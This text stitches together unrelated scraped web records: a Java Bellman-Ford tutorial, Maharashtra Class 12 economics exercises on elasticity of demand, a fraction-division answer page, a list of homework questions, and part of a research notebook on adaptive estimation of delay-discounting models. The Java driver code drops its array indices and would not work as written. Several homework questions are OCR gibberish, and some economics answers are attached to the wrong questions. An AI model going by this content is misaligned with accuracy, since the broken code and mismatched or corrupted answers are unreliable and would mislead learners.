Graph\n{\n// A class to represent a weighted edge in graph\nclass Edge {\nint src, dest, weight;\nEdge() {\nsrc = dest = weight = 0;\n}\n};\n\nint V, E;\nEdge edge[];\n\n// Creates a graph with V vertices and E edges\nGraph(int v, int e)\n{\nV = v;\nE = e;\nedge = new Edge[e];\nfor (int i=0; i<e; ++i)\nedge[i] = new Edge();\n}\n\n// The main function that finds shortest distances from src\n// to all other vertices using Bellman-Ford algorithm. The\n// function also detects negative weight cycle\nvoid BellmanFord(Graph graph,int src)\n{\nint V = graph.V, E = graph.E;\nint dist[] = new int[V];\n\n// Step 1: Initialize distances from src to all other\n// vertices as INFINITE\nfor (int i=0; i<V; ++i)\ndist[i] = Integer.MAX_VALUE;\ndist[src] = 0;\n\n// Step 2: Relax all edges |V| - 1 times. A simple\n// shortest path from src to any other vertex can\n// have at-most |V| - 1 edges\nfor (int i=1; i<V; ++i)\n{\nfor (int j=0; j<E; ++j)\n{\nint u = graph.edge[j].src;\nint v = graph.edge[j].dest;\nint weight = graph.edge[j].weight;\nif (dist[u]!=Integer.MAX_VALUE &&\ndist[u]+weight<dist[v])\ndist[v]=dist[u]+weight;\n}\n}\n\n// Step 3: check for negative-weight cycles. The above\n// step guarantees shortest distances if graph doesn't\n// contain negative weight cycle. If we get a shorter\n// path, then there is a cycle.\nfor (int j=0; j<E; ++j)\n{\nint u = graph.edge[j].src;\nint v = graph.edge[j].dest;\nint weight = graph.edge[j].weight;\nif (dist[u]!=Integer.MAX_VALUE &&\ndist[u]+weight<dist[v])\nSystem.out.println(\"Graph contains negative weight cycle\");\n}\nprintArr(dist, V);\n}\n\n// A utility function used to print the solution\nvoid printArr(int dist[], int V)\n{\nSystem.out.println(\"Vertex Distance from Source\");\nfor (int i=0; i<V; ++i)\nSystem.out.println(i+\"\\t\\t\"+dist[i]);\n}\n\n// Driver method to test above function\npublic static void main(String[] args)\n{\nint V = 5; // Number of vertices in graph\nint E = 8; // Number of edges in graph\n\nGraph graph = new Graph(V, E);\n\n// add edge 0-1 (or A-B in above figure)\ngraph.edge.src = 0;\ngraph.edge.dest = 1;\ngraph.edge.weight = -1;\n\n// add edge 0-2 (or A-C in above figure)\ngraph.edge.src = 0;\ngraph.edge.dest = 2;\ngraph.edge.weight = 4;\n\n// add edge 1-2 (or B-C in above figure)\ngraph.edge.src = 1;\ngraph.edge.dest = 2;\ngraph.edge.weight = 3;\n\n// add edge 1-3 (or B-D in above figure)\ngraph.edge.src = 1;\ngraph.edge.dest = 3;\ngraph.edge.weight = 2;\n\n// add edge 1-4 (or A-E in above figure)\ngraph.edge.src = 1;\ngraph.edge.dest = 4;\ngraph.edge.weight = 2;\n\n// add edge 3-2 (or D-C in above figure)\ngraph.edge.src = 3;\ngraph.edge.dest = 2;\ngraph.edge.weight = 5;\n\n// add edge 3-1 (or D-B in above figure)\ngraph.edge.src = 3;\ngraph.edge.dest = 1;\ngraph.edge.weight = 1;\n\n// add edge 4-3 (or E-D in above figure)\ngraph.edge.src = 4;\ngraph.edge.dest = 3;\ngraph.edge.weight = -3;\n\ngraph.BellmanFord(graph, 0);\n}\n}``````\n\nOutput :\n\n```Vertex Distance from Source\n0 0\n1 -1\n2 2\n3 -2\n4 1```\n\nNotes\n\n• Negative weights are found in various applications of graphs. For example, instead of paying cost for a path, we may get some advantage if we follow the path.\n• Bellman-Ford works better (better than Dijksra’s) for distributed systems. Unlike Dijksra’s where we need to find minimum value of all vertices, in Bellman-Ford, edges are considered one by one.", null, "#### Venkatesan Prabu\n\nWikitechy Founder, Author, International Speaker, and Job Consultant. My role as the CEO of Wikitechy, I help businesses build their next generation digital platforms and help with their product innovation and growth strategy. I'm a frequent speaker at tech conferences and events.\n\nX" ]
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https://balbhartisolutions.com/maharashtra-board-class-12-economics-solutions-chapter-3b/
[ "Balbharti Maharashtra State Board Class 12 Economics Solutions Chapter 4 Supply Analysis Textbook Exercise Questions and Answers.\n\n## Maharashtra State Board Class 12 Economics Solutions Chapter 3B Elasticity of Demand\n\n1. Complete the following statements:\n\nQuestion 1.\nPrice elasticity of demand on a linear demand curve at the X-axis is ……………\na) zero\nb) one\nc) infinity\nd) less than one\na) zero", null, "Question 2.\nPrice elasticity of demand on a linear demand curve at the Y-axis is equal to\na) zero\nb) one\nc) infinity\nd) greater than one\nc) infinity\n\nQuestion 3.\nDemand curve is parallel to X axis, in case of …………..\na) perfectly elastic demand\nb) perfectly inelastic demand\nc) relatively elastic demand\nd) relatively inelastic demand\na) perfectly elastic demand\n\nQuestion 4.\nWhen percentage change in quantity demanded is more than the percentage change in price, the demand curve is ………………..\na) flatter\nb) steeper\nc) rectangular\nd) horizontal\na) flatter\n\nQuestion 5.\nEd = 0 in case of ………………\na) luxuries\nb) normal goods\nc) necessities\nd) comforts\nc) necessities\n\n2. Give et onomic terms:\n\nQuestion 1.\nDegree of responsiveness of quantity demanded o change in income only.\nIncome elasticity\n\nQuestion 2.\nDegree of responsiveness of a change in quantity demanded of one commodity due to change in the price of another commodity.\nCross elasticity", null, "Question 3.\nDegree of responsiveness of a change of quantity demanded of a good to a change in its price.\nElasticity of demand\n\nQuestion 4.\nElasticity resulting from infinite change in quantity demanded.\nPerfectly elastic demand\n\nQuestion 5.\nElasticity resulting from a proportionate change in quantity demanded due to a proportionate change in price.\nPrice elasticity\n\n3. Complete the correlation:\n\n1) Perfectly elastic demand: Ed = ∞ :: ……………. : Ed = 0\n2) Rectangular hyperbola : ………………. : Steeper demand curve : Relatively inelastic demand.\n3) Straight line demand curve : Linear demand curve:: …………….. non linear demand curve.\n4) Pen and ink : …………….. :: Tea or Coffee: Substitutes.\n5) Ratio method : Ed = $$\\frac{\\% \\Delta \\mathbf{Q}}{\\% \\Delta \\mathrm{P}}$$ :: …………… : Ed = $$\\frac{\\text { Lower segment }}{\\text { Upper segment }}$$\n\n1. Perfectly inelastic demand\n2. Unitary elastic demand\n3. Unitary elastic (convex to origin)\n4. Complementary goods\n5. Point or Geometric method\n\n4. Assertion and Reasoning type questions:\n\nQuestion 1.\nAssertion (A) : Elasticity of demand explains that one variable is influenced by another variable.\nReasoning (R) : The concept of elasticity of demand indicates the effect of price and changes in other factors on demand.\nOptions: 1) (A) is True, but (R) is False\n2) (A) is False, but (R) is True\n3) Both (A) and (R) are True and (R) is the correct explanation of (A)\n4) Both (A) and (R) are True and (R) is not the correct explanation of (A)\n3) Both (A) and (R) are True and (R) is the correct explanation of (A)", null, "Question 2.\nAssertion (A) : A change in quantity demanded of one commodity due to a change in the price of other commodity is cross elasticity.\nReasoning (R) : Changes in consumers income leads to a change in the quantity demanded.\nOptions:\n1) (A) is True, but (R) is False\n2) (A) is False, but (R) is True\n3) Both (A) and (R) are True and (R) is the correct explanation of (A)\n4) Both (A) and (R) are True and (R) is not the correct explanation of (A)\n4) Both (A) and (R) are True and (R) is not the correct explanation of (A)\n\nQuestion 3.\nAssertion (A) : Degree of price elasticity is less than one in case of relatively inelastic demand.\nReasoning (R): Change in demand is less then the change in price.\nOptions: 1) (A) is True, but (R) is False\n2) (A) is False, but (R) is True\n3) Both (A) and (R) are True and (R) is the correct explanation of (A)\n4) Both (A) and (R) are True and (R) is not the correct explanation of (A)\n3) Both (A) and (R) are True and (R) is the correct explanation of (A)\n\n5. Distinguish between:\n\nQuestion 1.\nRelatively elastic demand and Relatively inelastic demand.\nRelatively Elastic Demand\n\n1. When percentage change in quantity demanded is greater than the percentage change in price then demand is said to be Relatively Elastic demand.\n2. The numerical co-efficient is greater than one (e > 1).\n3. Demand curve slopes flatter.\n4.", null, "5. Example : luxury goods like LCD, TV, Car etc.\n\nRelatively inelastic demand.\n\n1. When percentage change in quantity demanded is less than percentage change in price then demand is said to be Relatively Inelastic demand.\n2. The numerical co-efficient is less than one (e < 1).\n3. Demand curve slopes steeper.\n4.", null, "5. Example : foodgrains.", null, "Question 2.\nPerfectly elastic demand and Perfectly inelastic demand.\nPerfectly elastic demand :\n\n1. When a small change in price brings an infinite change in quantity demanded, then demand is said to be Perfectly Elastic demand.\n2. The numerical value of Perfectly Elastic demand is infinite i.e. e = ∞\n3. The demand curve is horizontal straight line parallel to X-axis.\n4. Such a demand is a myth or theoretical.\n5.", null, "Perfectly inelastic demand.\n\n1. When a change in price does not bring any change in quantity demanded, then demand\nis said to be Perfectly Inelastic demand.\n2. The numerical value of Perfectly Inelastic demand is zero i.e. e = 0.\n3. The demand curve is a vertical straight line parallel to Y—axis.\n4. Such demand is found in case of life saving drugs, salt, etc.\n5.", null, "Question 1.\nExplain the factors influencing elasticity of demand.\nThe concept of Price Elasticity was developed i by great neo-classical economist Dr. Alfred \\ Marshall in the year 1890.\nAccording to Dr. Alfred Marshall, “The elasticity or responsiveness of demand in a market is great or small, according to the amount demanded which increases much or little for a given fall in price, and diminishes much or little for a given rise in price. ”\nElasticity of demand in fact refers to the £ degree of responsiveness of the quantity demanded of a commodity to change in the variable on which demand depends.\n\nQuestion 2.\nExplain the total outlay method of measuring elasticity of demand?\nTotal Outlay Method : This method was introduced by Dr. Alfred Marshall. The limitation of this method is that in this method unlike ratio method, the exact numerical value of the elasticity of demand cannot be determined. According, to this method, the elasticity of demand is measured on the basis of expenditure incurred by consumer when the price of a commodity changes.\n\nTotal outlay or total expenditure can be calculated by multiplying the price with the quantity demanded (Price x Quantity demand = Total Expenditure). Depending upon the kind of change in total outlay, whether it increases, or decreases, or remain constant with the change in price we will be able to decide the type of elasticity. This can be explained with the following example:-", null, "1. If the total outlay remains the same with a rise or fall in price then the demand is said to be unitary (e = 1) elastic.\n2. If the total outlay decreases with a rise in price and increases with a fall in price, the elasticity of demand is greater than one or Relatively Elastic e > 1.\n3. If the total outlay increases with a rise in price and decreases with a fall in price, then elasticity is less than one or relatively inelastic, e < 1.", null, "", null, "Question 3.\nExplain importance of elasticity of demand.", null, "• Nature of Commodity : By nature, commodities are classified as necessaries, comforts and luxuries. Normally demand for j necessaries like food grains are relatively inelastic and for comforts and luxuries like diamond, perfumes, etc is relatively elastic.\n• Availability of Substitutes : The larger the number of substitutes available for a commodity, the greater would be the elasticity. Demand for products like soap, soft drinks, detergents, tooth paste, etc. have many substitute so demand is elastic, ‘j However, salt, garlic, onions have no substitute so demand is inelastic.\n• Durability of the Commodity : The demand for durable goods like T.V., car, fridge, etc is relatively inelastic in the short run and elastic in the long run. Whereas the demand for perishable goods is relatively inelastic.\n• Uses of Commodity : Single use commodities have less elastic demand and multi-use goods like coal, electricity, sugar, etc. have relatively elastic demand.\n• Range of Price : The demand for commodities which are highly priced and will have a inelastic demand like AC, car, etc. Even very low priced goods have inelastic demand.\n• Consumer’s Income : Generally if income is very high, the demand for over allcommodities tends to be relatively inelastic. The demand pattern of the rich people is rarely affected even when there is significant price change.\n• Influence of Habits and Customs : When a person is habituated to consume a certain commodity, the demand will be inelastic for that commodity. E.g. demand for cigarettes to a chain smoker is inelastic.\n• Time Period : The demand for goods is less elastic in the short period and more elastic in the long period. This is because (1) in the long period consumer are better informed about their price (2) habits of consumer’s change in the long run (3) durable goods get worn out in the long period.\n• Proportion of Income Spend : If consumer spends a very small proportion of his income on a commodity, the demand for it will be relatively inelastic & vice-versa. For e.g. demand for salt, newspaper, pins are inelastic.\n• Urgency and Postponement : If the demand for a commodity is urgent then demand for it will be inelastic. E.g. demand for medicine for a patient. Whereas, if the demand for a commodity can be postponed it will have elastic demand.\n• Complementary Goods : Complementary goods are those goods which are demanded jointly such as car and petrol, mobile and sim cards, etc. Demand for petrol will be inelastic as car cannot run without petrol.\n\n7. Observe the following figure and answer the questions:\n\nQuestion 1.\nIdentify and define the degrees of elasticity of demand from the following demand curves.", null, "", null, "Concept: Perfectly Inelastic demand (Ed = 0) Explanation : When change in price has no effect on the quantity demanded of that commodity, then it is called as perfectly inelastic demand. Demand curve ‘DD’ is a vertical straight line parallel to ‘Y’ – axis.", null, "", null, "Concept: Perfectly Elastic demand (Ed = ∞) (infinity)\nExplanation: When a change in price leads to infinite change in quantity demanded of a commodity then it is called as perfectly) (d) elastic demand.\nDemand curve is horizontal straight line ( parallel to ‘X’ – axis.", null, "Concept: Ed = 1 Unitary elastic demand Explanation : When proportionate or percentage change in quantity demanded is exactly equal to proportionate or percentage change in price, then it is called as Unitary Elastic demand. Demand curve is called as rectangular hyperbola.", null, "Concept: Relatively Elastic Demand (Ed > 1)\nExplanation : When proportionate or percentage change in quantity demanded is more than proportionate change it its price, then it is called as Relatively Elastic Demand. Demand curve is called as flatter curve.\n\nQuestion 2.\nIn the following diagram AE is the linear demand curve of a commodity. On the basis of the given diagram state whether the following statements are True or False. Give reasons to your answer.", null, "1) Demand at point ‘C’ is relatively elastic demand.\n2) Demand at point ‘B’ is unitaiy elastic demand.\n3) Demand at point ‘D’ is perfectly inelastic demand.\n4) Demand at point ‘A’ is perfectly elastic demand." ]
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https://answers.everydaycalculation.com/divide-fractions/24-3-divided-by-10-90
[ "Solutions by everydaycalculation.com\n\n## Divide 24/3 with 10/90\n\n1st number: 8 0/3, 2nd number: 10/90\n\n24/3 ÷ 10/90 is 72/1.\n\n#### Steps for dividing fractions\n\n1. Find the reciprocal of the divisor\nReciprocal of 10/90: 90/10\n2. Now, multiply it with the dividend\nSo, 24/3 ÷ 10/90 = 24/3 × 90/10\n3. = 24 × 90/3 × 10 = 2160/30\n4. After reducing the fraction, the answer is 72/1\n\nMathStep (Works offline)", null, "Download our mobile app and learn to work with fractions in your own time:" ]
[ null, "https://answers.everydaycalculation.com/mathstep-app-icon.png", null ]
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https://solvedlib.com/n/8-points-sketch-the-graph-of-f-r-12-in-r-on-the-domain-1,1592175
[ "# [8 points] Sketch the graph of f(r) 12 . In(r) on the domain 1 < I < 2 and then\n\n###### Question:\n\n[8 points] Sketch the graph of f(r) 12 . In(r) on the domain 1 < I < 2 and then evaluate Jz? . In(r) dr. [6 points] Sketch the graph of f(r) sin(r? ) on the domain 0 < 1 < Vz,and then evaluate sin(2? ) dx:", null, "", null, "#### Similar Solved Questions\n\n##### C6 Use the data set in WAGEZ RAW for this problemAs usual; be sure all of the follow- ing regressions contain an intercept. Run a simple regression of IQ on educ t0 obtain the slope coefficient say, & . Run the simple regression of log(wage) on educ, and obtain the slope coefficient 8_ (iii) Run the multiple regression of log(wage) on educ and IQ, and obtain the slope coefficients 8 , and Bz. respectively_ (iv) Verify that B, 8 8,6 ;.\nC6 Use the data set in WAGEZ RAW for this problemAs usual; be sure all of the follow- ing regressions contain an intercept. Run a simple regression of IQ on educ t0 obtain the slope coefficient say, & . Run the simple regression of log(wage) on educ, and obtain the slope coefficient 8_ (iii) Run...\n##### I6 3 8 NW L 1 } J WI 1 1 J [ L 8 J U 1 HHY 8 L V Is U 1 1 1 8 1 1 1 1 8 [ 1 1 i 8 8 0 1 8 8 ;1 I { 3 1\ni6 3 8 NW L 1 } J WI 1 1 J [ L 8 J U 1 HHY 8 L V Is U 1 1 1 8 1 1 1 1 8 [ 1 1 i 8 8 0 1 8 8 ; 1 I { 3 1...\n##### A night before your exam, should you re-read information or test yourself? Where does re-reading information...\nA night before your exam, should you re-read information or test yourself? Where does re-reading information store, in your short-term or long-term memory?...\n##### Question 8In the dchyurohalogsnation of bromobutane which confonnation bclov: leads drectly to the (onation of cls-2-buteng?CH; H;c_ BrCH; HSC HH H;c_ BrH H HM Br HHS HCH;O7kWITenid |Only |Onty II\nQuestion 8 In the dchyurohalogsnation of bromobutane which confonnation bclov: leads drectly to the (onation of cls-2-buteng? CH; H;c_ Br CH; HSC H H H;c_ Br H H H M Br H HS H CH; O7kWI Tenid | Only | Onty II...\n##### The following is a special case of a model, called the Ehrenfestmodel, that has been used to explain diffusion of gases. We havetwo urns that, between them, contain four balls. At each step, oneof the four balls is chosen at random and moved from the urn thatit is in into the other urn. We choose as possible states of theprocess the number of balls in the first urn. (a) Define thetransition matrix P of a Markov chain modelling this process. (b)Show that this Markov chain is ergodic but not regul\nThe following is a special case of a model, called the Ehrenfest model, that has been used to explain diffusion of gases. We have two urns that, between them, contain four balls. At each step, one of the four balls is chosen at random and moved from the urn that it is in into the other urn. We choos...\n##### Q 4 (Bounce question) SolveX' =(1 3)x\nQ 4 (Bounce question) Solve X' = (1 3)x...\n##### Tn = {tk kzn} and Prove - Rbe that inf(Tn) < sup(Tm) for all n,m. Let Tn € sequence m and n 2 m. In each case_ work out whether Tn € Tm r Tm C Tn, then (Hint: Two cases n < compare their supremums and infimums: -\nTn = {tk kzn} and Prove - Rbe that inf(Tn) < sup(Tm) for all n,m. Let Tn € sequence m and n 2 m. In each case_ work out whether Tn € Tm r Tm C Tn, then (Hint: Two cases n < compare their supremums and infimums: -...\n##### 1. list the usefulness and likitations of a blance sheet - be specific 2. why ars...\n1. list the usefulness and likitations of a blance sheet - be specific 2. why ars disclosure notes important ? list some examples of items that should be disclosed ....\nAccounting Please Help Keith opens a business, Keith S.A. and opens a bank account in the name of the business. For the first week, the following transactions take place: Day 1: Keith puts £ 1, 000 of his own money in the bank account Day 2: The commercial buys 100 shirts, each costing &po...\n##### The intersection of X2= Y2 + Z2 and the plane Y= 2\nthe intersection of X2= Y2 + Z2 and the plane Y= 2...\n##### 66. U.S. Imports. The amount of imports to the United States has increased exponentially since 1980...\n66. U.S. Imports. The amount of imports to the United States has increased exponentially since 1980 - (Sources: U.S. Census Bureau; U.S. Bureau of Economic Analysis; U.S. Department of Commerce). The exponential function 1(x) = 297.539(1.075)*, where x is the number of years after 1980, can be used ...\n##### USc (0) Thc Ira-Pezaidal Pul (b) Ihe midpoint Rule , and (C) Simpsons Rule 4 approximatc tc Given_intcrval witn mc Jpec Fica velue af n (Rouna Your amswcr + Six dccma | Places)3c0 (22) dx ns4Tra-pczoidal RaleMc_mid poin t Rulc(C) I Simpeans Rule\nUSc (0) Thc Ira-Pezaidal Pul (b) Ihe midpoint Rule , and (C) Simpsons Rule 4 approximatc tc Given_intcrval witn mc Jpec Fica velue af n (Rouna Your amswcr + Six dccma | Places) 3c0 (22) dx ns4 Tra-pczoidal Rale Mc_mid poin t Rulc (C) I Simpeans Rule...\nQuestion 30 1.5 pts A firm with cost of capital of 10 percent is evaluating two mutually exclusive projects and constructed the following NPV profile: $100 NPV(A) .......NPV(B) 50 + Net Present Value “ .....$0 ....sete 0% 5% 10% 15% 20% 25% 30% 35% 40% -$50 Dis count Rate True or false: Proje... 1 answer ##### 1 G. Gram invested$43,000 cash in the company. 1 The company rented a furnished office...\n1 G. Gram invested $43,000 cash in the company. 1 The company rented a furnished office and paid$2,400 cash for May’s rent. 3 The company purchased $1,930 of office equipment on credit. 5 The company paid$740 cash for this month’s cleaning services. 8 The company p...\n##### Please write this code in c++ // a: an array of ints. size is how many...\nplease write this code in c++ // a: an array of ints. size is how many ints in array 7/ Return the largest value in the list. 7/ This value may be unique, or may occur more than once // You may assume size >= 1 int largestValue(int *a, int size) { assert(size >= 1); return -42; // STUB !!!...\n##### Pz) lel S= { v, 3, 6, 9 '2 } 77~ Skow Hu+ 5 sbri 75 unfer Jachi 044 mu (Kplahio mau T5 .0 Lis+ aU (Je~pobL in 8:6v\nPz) lel S= { v, 3, 6, 9 '2 } 77~ Skow Hu+ 5 sbri 75 unfer Jachi 044 mu (Kplahio mau T5 . 0 Lis+ aU (Je~pobL in 8:6v...\n##### (II) A $15-\\mathrm{cm}$ -long tendon was found to stretch 3.7 $\\mathrm{mm}$ by a force of 13.4 $\\mathrm{N}$ . The tendon was approximately round with an average diameter of 8.5 $\\mathrm{mm}$ . Calculate the Young's modulus of this tendon.\n(II) A $15-\\mathrm{cm}$ -long tendon was found to stretch 3.7 $\\mathrm{mm}$ by a force of 13.4 $\\mathrm{N}$ . The tendon was approximately round with an average diameter of 8.5 $\\mathrm{mm}$ . Calculate the Young's modulus of this tendon....\n##### QuuestionNot yet answered1. 0) Indicate whether the following is true or false. Justify your answer.(2 marks) b}) Consider the universal set U = {1,2,3,4,5,6,7}and the sets A,B,CEU , where A={2,4,7} B = {1, 3, 4} and €= {4,6,7}Marked out of 16.00Flag questionFind J(A 0 C) where J is the powerset of the set An €(3 marks)(ii) Write the elements of the following set B X (A n C)(3 marks}Let the universal set be the set R of all real numbers and let A = {x eR 0<*s5} B = {x€R 2s*<9}Find\nquuestion Not yet answered 1. 0) Indicate whether the following is true or false. Justify your answer. (2 marks) b}) Consider the universal set U = {1,2,3,4,5,6,7}and the sets A,B,CEU , where A={2,4,7} B = {1, 3, 4} and €= {4,6,7} Marked out of 16.00 Flag question Find J(A 0 C) where J is the...\n##### Solve these systems of equations a\n1. Solve these systems of equations a. 3x + 6y + 3z= 3 2x - y + 4z= 14 x + 10y + 8z= -8 b. x + y + 3z= 10 x + 2y + 3z= 4 x + 4y + 3z= -6 2. Solve these systems of equations word problems. a. A movie theater sold 450 tickets to a movie. Adult tickets cost $8 and children's tickets cost$6....\n##### How do you find the definite integrals for the lengths of the curves, but do not evaluate the integrals for y=x^3, 0<=x<=1?\nHow do you find the definite integrals for the lengths of the curves, but do not evaluate the integrals for y=x^3, 0<=x<=1?...\n##### DENTAL HYGIENE QUESTION Scenario 3 - The current protocol in Dr. Grains offices utilizes a medical...\nDENTAL HYGIENE QUESTION Scenario 3 - The current protocol in Dr. Grains offices utilizes a medical history form that is slightly larger than a postcard to gather all the patient data. As a fairly recent dental hygiene graduate, the inadequacy of the questions on the history form has bothered Hann...\n##### P.3 Let A =(1) Find the row space and column space of A. (2)Determine the and rank and nullity of A.\nP.3 Let A = (1) Find the row space and column space of A. (2) Determine the and rank and nullity of A....\n##### Assume that we want to find the probability that when five consumers are randomly selected, exactly two of them are comfortable with delivery by drones. Also assume that $42 \\%$ of consumers are comfortable with the drones (based on a Pitney Bowes survey). Identify the values of $n, x, p,$ and $q$.\nAssume that we want to find the probability that when five consumers are randomly selected, exactly two of them are comfortable with delivery by drones. Also assume that $42 \\%$ of consumers are comfortable with the drones (based on a Pitney Bowes survey). Identify the values of $n, x, p,$ and $q$...." ]
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http://arfer.net/projects/builder/notebook
[ "# Builder notebook\n\n## Parameter sensitivity\n\nI notice that, at least under a simple exponential model, choice probabilities are much more sensitive to the discount rate for larger delay intervals between the two choices.\n\nd = data.frame(\nssr = c(10, 10),\nssd = c( 0, 0),\nllr = c(13, 45),\nlld = c( 5, 30))\n\ndo.call(rbind, lapply(1 : nrow(d), function (dr)\nwith(list(disc = c(.055, .050, .045)),\ntransform(d[dr,], disc = disc, p = round(digits = 2,\nilogit(llr * exp(-disc * lld) - ssr * exp(-disc * ssd)))))))\n\nssr ssd llr lld disc p\n1 10 0 13 5 0.055 0.47\n2 10 0 13 5 0.050 0.53\n3 10 0 13 5 0.045 0.59\n4 10 0 45 30 0.055 0.20\n5 10 0 45 30 0.050 0.51\n6 10 0 45 30 0.045 0.84\n\nThis makes sense when you consider that we're talking about discount rate: the longer the delay, the more time the reward has been discounted, so a given discount rate will have a greater total effect as the delay lengthens.\n\nFrom a Bayesian perspective, this means that there will be larger uncertainty in choice probabilities for futher-apart pairs, since longer delays will magnify uncertainity in the parameter values.\n\n## Adaptive estimation of discount rate and ρ\n\nBut the aforementioned phenomenon could be useful from the perspective of choosing quartets that optimize our ability to estimate parameters. Given a proposed discount rate k, we can construct a quartet that can precisely distinguish whether the true rate is above or below k, by just choosing a quartet on the indifference curve for k that has a big delay interval. It follows that in the context of the generalized hyperbolic model (GHM), a natural way to adaptively estimate parameters is to first estimate the discount rate with a binary search of candidates, keeping the smaller-sooner delay 0 so that curvature doesn't muck things up, then try to estimate curvature.\n\nSo can I similarly zero in on ρ and curvature values? What sorts of quartets are most diagnostic for values of these parameters?\n\nIt looks like zeroing in on ρ will be in general much harder than for the discount rate. No particular quartets are terribly diagnostic, because the general effect of lower ρs is to shrink choice probabilities towards 1/2, and the effect of ρ is strongest in the far-off regions of ilogit's domain where the argument to ilogit makes the least difference in choice probabilities. I guess the thing to do is to consider two possible values of ρ at a time and try to pick the difference in discounted values that will maximize the difference in choice probabilities for these two ρs. Let's try analytically optimizing this difference the good-ol'-fashioned Calc I way, by finding roots of the derivative. I'll use Maxima.\n\nilogit(x) :=\n1 / (1 + exp(-x));\nchoicep(ssr, ssd, llr, lld, disc, rho) :=\nilogit(rho * (\n(llr * exp(-disc * lld)) - (ssr * exp(-disc * ssd))));\nreward_with_v(val, disc, delay) :=\nexp(disc * delay) * val;\nchoicep_valdiff(ssr, ssd, lld, valdiff, disc, rho) :=\nchoicep(\nssr, ssd,\nreward_with_v(ssr + valdiff, disc, lld),\nlld, disc, rho);\n\nexpr: choicep_valdiff(ssr, ssd, lld, D, disc, rho) -\nchoicep_valdiff(ssr, ssd, lld, D, disc, rho);\n/* We want to choose the value of D that maximizes expr (labeling\nrho, rho so that this difference is positive). */\nexpr: diff(expr, D);\n/* Now let's try to clean that expression up a bit. */\nexpr: subst(v, D - exp(-disc * ssd)*ssr + ssr, expr);\n\n\nUnfortunately, I don't think we can solve\n\n$\\frac{ \\rho_1 e^{\\rho_1 v} }{ (e^{\\rho_1 v} + 1)^2 } - \\frac{ \\rho_2 e^{\\rho_2 v} }{ (e^{\\rho_2 v} + 1)^2 } = 0$\n\nfor v. So we'll need to find each root numerically, or maximize the original expression numerically.\n\nNow let's try implementing an adaptive parameter-estimating procedure with what I've thought through so far.\n\n## Back to real data\n\nBut let's put development of this adaptive procedure on hold for a moment to look at how different sorts of models do when applied to real data. In particular, I'd like to know if a uniform noise parameter (postulating a certain fixed-per-subject probability that the subject behaves randomly each trial) can explain the data as well as or better than ρ. Such a parameter would be much easier to estimate than ρ.\n\nSo I tried fitting a whole bunch of models to the entire audTemp dataset (70 trials for each of 93 subjects). I split the dataset into training and testing halves, not at random, but with a striped scheme that made sure the training set included 7 trials from each of the 14-trial bins and that these 7 trials included the 1st and 14th trials (in indifference-k order) so the models wouldn't need to extrapolate, as it were. Here was each model's proportion of test-set choices predicted correctly:\n\nmodel correct\nmodel.diff 0.850\nmodel.diffrho 0.850\nmodel.ghmrho 0.840\nmodel.exprho 0.838\nmodel.expdelta 0.828\nmodel.exp 0.825\nmodel.rewards 0.816\nmodel.hyprho 0.812\nmodel.ratio 0.810\nmodel.ll 0.766\nmodel.delays 0.694\nmodel.constant 0.686\n\nThe ranking is somewhat surprising, particularly in how model.diff did better than the GHM. Christian points out that model.diff is similar to the model suggested in Scholten and Read (2010).\n\nThis exercise with the audTemp data has arguably provided more questions than answers. I'm thinking that what I now want to do is create adaptive estimation procedures for each model so they can all be fit reasonably well, then put subjects through these procedures along with a model-neutral test set of trials. By such means, we can begin to separate the questions of how well we can estimate model parameters and how well a model describes behavior, that is, how well it can predict choice behavior given training data that's appropriate for the model.\n\nRather than invent a different adaptive procedure for every model, we can divide the models into nested sets, or at least families, and create adaption procedures for the most general member of the set. Such a procedure should also work for other members of the set.\n\nWe'll start by considering the following families:\n\n• Degenerate\n• constant\n• Simple\n• fullglm\n• ll\n• ss (This one isn't worth trying to train with our existing data, since SS delays vary too little.)\n• rewards\n• delays\n• diff\n• diffrho\n• diffdelta\n• rd\n• rdrho\n• rddelta\n• Discounting\n• ghmk.rho\n• ghmk.delta\n• hyprho\n• hypdelta\n\nIn the case of the constant model, the only sense in which we can be adaptive is to choose how many training trials we administer. And how many training trials we'd need is partly a function of where the true probability lies, but also largely a function of the desired precision. And I've yet to specify how much precision I want. So let's put that aside for now, and return to the GHM.\n\nAs of 6 October 2012, I've created an adaptive procedure for ghmk.rho, discount.adapt.est, that gets much tighter 95% credible intervals in 60 trials than naive.est, a procedure that picks quartets non-adaptively. Hooray! Handling delta instead of rho shouldn't be too hard—it's obvious what trials are most diagnostic for it—so now let's turn to the simple family. I had trouble fitting fullglm with JAGS, but I ought to be able to do it with Stan.\n\nBut, hmm, the technique I used to estimate rho in discount.adapt.est suggests a model-general technique to adaptively estimate all the parameters simultaneously. For each round, you pick two parameter vectors from the current posterior that are in the credible region but are far from each other, which is a multidimensional equvialent of picking .025 and .975 quantiles. Then, out of a few thousand possible quartets, you pick the one that maximizes the difference in choice probability for these two parameter vectors. I think I'll try implementing this to see if it can handle the GHM just as well as the fancier procedure. If so, this procedure may be suitable for any model.\n\nThe most mysterious part here is picking the two parameter vectors. How is one to do that? Well, you start with however many distinct parameter vectors you got out of MCMC, on the order of 500. Think of the vectors geometrically, as points. (You'd want to rescale each parameter to the interval [0, 1] so parameters are treated equally.) Suppose you find the two distantmost points A and B. Then you sort all the points into a list by their distance from A and B such that A is the first item, B is the last item, and points equidistant from both go in the middle. Then you take the points 2.5% and 97.5% of the way along the list. And that's it. This algorithm sounds slow, but with reasonably small posterior samples, it might be fast enough.\n\nIt looks like this procedure, even with a simplification to just pick the farthest two points in the posterior (instead of a pair of points with the .95-quantile distance, or something), works quite well. It fits ghmk.rho not significantly worse than discount.adapt.est. Now, how well can it handle fullglm?\n\nTurns out that it can't handle fullglm well, in that Stan fits fullglm slowly, and once the adaptive session is over, the 95% posterior interval for each parameter isn't as likely as it should be to contain the true value.\n\nmodel.rewards—actually, now model.rewards.logprior—when sent through the adaptive procedure—actually, a new parameter-by-parameter version, general.adapt.est.1patatime—yields wide 95% intervals. The model has severe collinearity issues; the parameters are usually correlated about -.99 in the posterior. However, the posterior medians tend to be close to the true values. Roughly the same can be said for model.diff.\n\nOne thing that's bugging me is that my criterion of precision, which is how tight the 95% posterior intervals for the parameters are, may not be a good one. In particular, I fear that low precision in this sense may be perfectly good precision in applications. I guess what I should try is examining the tightness of posterior intervals for some choice probabilities. Say, take 500 trials from adaptive.quartets and then compare true with predicted choice probabilities. For a measure of precision per se, take the mean of the widths of the 95% credible intervals. To check that these intervals are reasonably accurate, compute their coverage. Hence, check.model.precision in models.R.\n\nApplying check.model.precision has been interesting. With model.ghmk.rho, I get mostly tight intervals with perfect coverage, and the same for model.rewards.logpriors, even if the 